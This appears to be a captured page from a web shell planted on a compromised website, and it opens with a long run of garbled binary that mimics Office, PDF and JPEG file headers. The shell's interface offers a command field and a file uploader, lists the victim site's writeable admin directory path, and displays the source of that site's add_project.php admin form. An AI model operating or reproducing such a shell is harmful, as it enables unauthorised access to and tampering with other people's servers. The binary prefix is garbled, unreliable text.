œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/public_html/annapurnaed.com/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /home/ni05r7l36tus/public_html/annapurnaed.com/admin/add_project.php
<?php include "common/header.php"; ?>
<?php  
include 'connection/config.php';

$editMode = isset($_GET['action']) && $_GET['action'] === 'edit_project';
$row = [];

if ($editMode) {
    $id = $_GET['id'];
    $stmt = $pdo->prepare("SELECT * FROM `project` WHERE id = ?");
    $stmt->execute([$id]);
    $row = $stmt->fetch(PDO::FETCH_ASSOC);
}
?>

<div class="container-xxl">
    <div class="row justify-content-center">
        <div class="col-md-12 col-lg-12">
            <form action="function.php" method="POST" enctype="multipart/form-data">
                <!-- Hidden Fields -->
               <?php if (isset($row['id'])): ?>
        <input type="hidden" name="id" value="<?= $row['id'] ?>">
    <?php endif; ?>

                <!-- Project Content -->
                <div class="card">  
                    <div class="card-header"> 
                        <h4 class="card-title">Project Details</h4>
                    </div>
                    <div class="card-body pt-0">
                        <!-- Title -->
                        <div class="mb-3">
                            <label class="form-label">Title</label>
                            <input type="text" class="form-control" name="title" placeholder="Enter Title" value="<?= $editMode ? htmlspecialchars($row['title']) : '' ?>">
                        </div>

                        <!-- Subtitle -->
                        <div class="mb-3">
                            <label class="form-label">Pagetitle</label>
                            <input type="text" class="form-control" name="page_title" placeholder="Enter Subtitle" value="<?= $editMode ? htmlspecialchars($row['page_title']) : '' ?>">
                        </div>
                        <div class="mb-3">
                            <label class="form-label">client</label>
                            <input type="text" class="form-control" name="client" placeholder="Enter Subtitle" value="<?= $editMode ? htmlspecialchars($row['client']) : '' ?>">
                        </div>
                        <div class="mb-3">
                            <label class="form-label">company</label>
                            <input type="text" class="form-control" name="company" placeholder="Enter Subtitle" value="<?= $editMode ? htmlspecialchars($row['company']) : '' ?>">
                        </div>
                        <div class="mb-3">
                            <label class="form-label">location</label>
                            <input type="text" class="form-control" name="location" placeholder="Enter Subtitle" value="<?= $editMode ? htmlspecialchars($row['location']) : '' ?>">
                        </div>
                        <div class="mb-3">
                            <label class="form-label">Project type</label>
                            <input type="text" class="form-control" name="project_type" placeholder="Enter Subtitle" value="<?= $editMode ? htmlspecialchars($row['project_type']) : '' ?>">
                        </div>

                        <!-- Image Upload -->
                        <!-- Image -->
                        <label class="form-label">Image</label>
                        <div class="input-group mb-3">
                            <input type="file" name="image" class="form-control" id="imageUploadInput0" accept="image/*">
                            <label class="input-group-text" for="imageUploadInput0">Upload</label>
                        </div>
                        <div id="imagePreview0" class="mb-3">
                            <?php if ($editMode && $row['image']): ?>
                                <img src="../upload/<?= htmlspecialchars($row['image']) ?>" class="img-thumbnail" width="150" height="150" alt="Preview">
                            <?php endif; ?>
                        </div>

                        <!-- Image 1 -->
                        <label class="form-label">Image 1</label>
                        <div class="input-group mb-3">
                            <input type="file" name="image1" class="form-control" id="imageUploadInput1" accept="image/*">
                            <label class="input-group-text" for="imageUploadInput1">Upload</label>
                        </div>
                        <div id="imagePreview1" class="mb-3">
                            <?php if ($editMode && $row['image1']): ?>
                                <img src="../upload/<?= htmlspecialchars($row['image1']) ?>" class="img-thumbnail" width="150" height="150" alt="Preview">
                            <?php endif; ?>
                        </div>

                        <!-- Image 2 -->
                        <label class="form-label">Image 2</label>
                        <div class="input-group mb-3">
                            <input type="file" name="image2" class="form-control" id="imageUploadInput2" accept="image/*">
                            <label class="input-group-text" for="imageUploadInput2">Upload</label>
                        </div>
                        <div id="imagePreview2" class="mb-3">
                            <?php if ($editMode && $row['image2']): ?>
                                <img src="../upload/<?= htmlspecialchars($row['image2']) ?>" class="img-thumbnail" width="150" height="150" alt="Preview">
                            <?php endif; ?>
                        </div>

                        <!-- Full Description -->
                        <div class="form-group mb-3">
                            <label class="form-label">Description1</label>
                            <textarea class="form-control" rows="3" id="description1" name="description1"><?= $editMode ? html_entity_decode($row['description1']) : '' ?></textarea>
                            <script src="ckeditor/ckeditor.js"></script>
                            <script>CKEDITOR.replace('description1', { height: '300', width: 'auto' });</script>
                        </div>
                        <div class="form-group mb-3">
                            <label class="form-label">Description2</label>
                            <textarea class="form-control" rows="3" id="description2" name="description2"><?= $editMode ? html_entity_decode($row['description2']) : '' ?></textarea>
                            <script src="ckeditor/ckeditor.js"></script>
                            <script>CKEDITOR.replace('description2', { height: '300', width: 'auto' });</script>
                        </div>
                        <div class="form-group mb-3">
                            <label class="form-label">Description3</label>
                            <textarea class="form-control" rows="3" id="description3" name="description3"><?= $editMode ? html_entity_decode($row['description3']) : '' ?></textarea>
                            <script src="ckeditor/ckeditor.js"></script>
                            <script>CKEDITOR.replace('description3', { height: '300', width: 'auto' });</script>
                        </div>
                        <div class="form-group mb-3">
                            <label class="form-label">Description4</label>
                            <textarea class="form-control" rows="3" id="description4" name="description4"><?= $editMode ? html_entity_decode($row['description4']) : '' ?></textarea>
                            <script src="ckeditor/ckeditor.js"></script>
                            <script>CKEDITOR.replace('description4', { height: '300', width: 'auto' });</script>
                        </div>
                    </div>
                </div>

                <!-- SEO Details -->
                <div class="card">  
                    <div class="card-header">
                        <h4 class="card-title">SEO Details</h4>
                    </div>
                    <div class="card-body pt-0">
                        <!-- Slug -->
                        <div class="mb-3">
                            <label class="form-label">Slug</label>
                            <input type="text" class="form-control" name="slug" placeholder="Enter Slug" value="<?= $editMode ? htmlspecialchars($row['slug']) : '' ?>">
                        </div>

                        <!-- Meta Title -->
                        <div class="mb-3">
                            <label class="form-label">Meta Title</label>
                            <input type="text" class="form-control" name="meta_title" placeholder="Enter Meta Title" value="<?= $editMode ? htmlspecialchars($row['metatitle']) : '' ?>">
                        </div>

                        <!-- Meta Keyword -->
                        <div class="mb-3">
                            <label class="form-label">Meta Keyword</label>
                            <input type="text" class="form-control" name="meta_keyword" placeholder="Enter Meta Keyword" value="<?= $editMode ? htmlspecialchars($row['keyword']) : '' ?>">
                        </div>

                        <!-- Meta Description -->
                        <div class="form-group mb-3">
                            <label class="form-label">Meta Description</label>
                            <textarea class="form-control" rows="3" name="meta_description"><?= $editMode ? htmlspecialchars($row['seodescription']) : '' ?></textarea>
                        </div>

                        <!-- Submit -->
                        <button type="submit" name="<?= $editMode ? 'update_project' : 'add_project' ?>" class="btn btn-primary">Submit</button>
                    </div>
                </div>
            </form>
        </div> 
    </div> 
</div>

<!-- Image Preview Script -->
<script>
function setupImagePreview(inputId, previewId) {
    document.getElementById(inputId).addEventListener("change", function () {
        const allowedExtensions = ["jpg", "jpeg", "png", "gif", "webp"];
        const fileInput = this;
        const file = fileInput.files[0];
        const previewContainer = document.getElementById(previewId);

        if (file) {
            const extension = file.name.split('.').pop().toLowerCase();

            if (!allowedExtensions.includes(extension)) {
                alert("Only image files are allowed (jpg, jpeg, png, gif, webp)");
                fileInput.value = "";
                return;
            }

            const reader = new FileReader();
            reader.onload = function (e) {
                previewContainer.innerHTML = `<img src="${e.target.result}" class="img-thumbnail" width="150" height="150">`;
            };
            reader.readAsDataURL(file);
        }
    });
}

// Attach to all file inputs
setupImagePreview("imageUploadInput0", "imagePreview0");
setupImagePreview("imageUploadInput1", "imagePreview1");
setupImagePreview("imageUploadInput2", "imagePreview2");

</script>

<?php include "common/footer.php"; ?>

........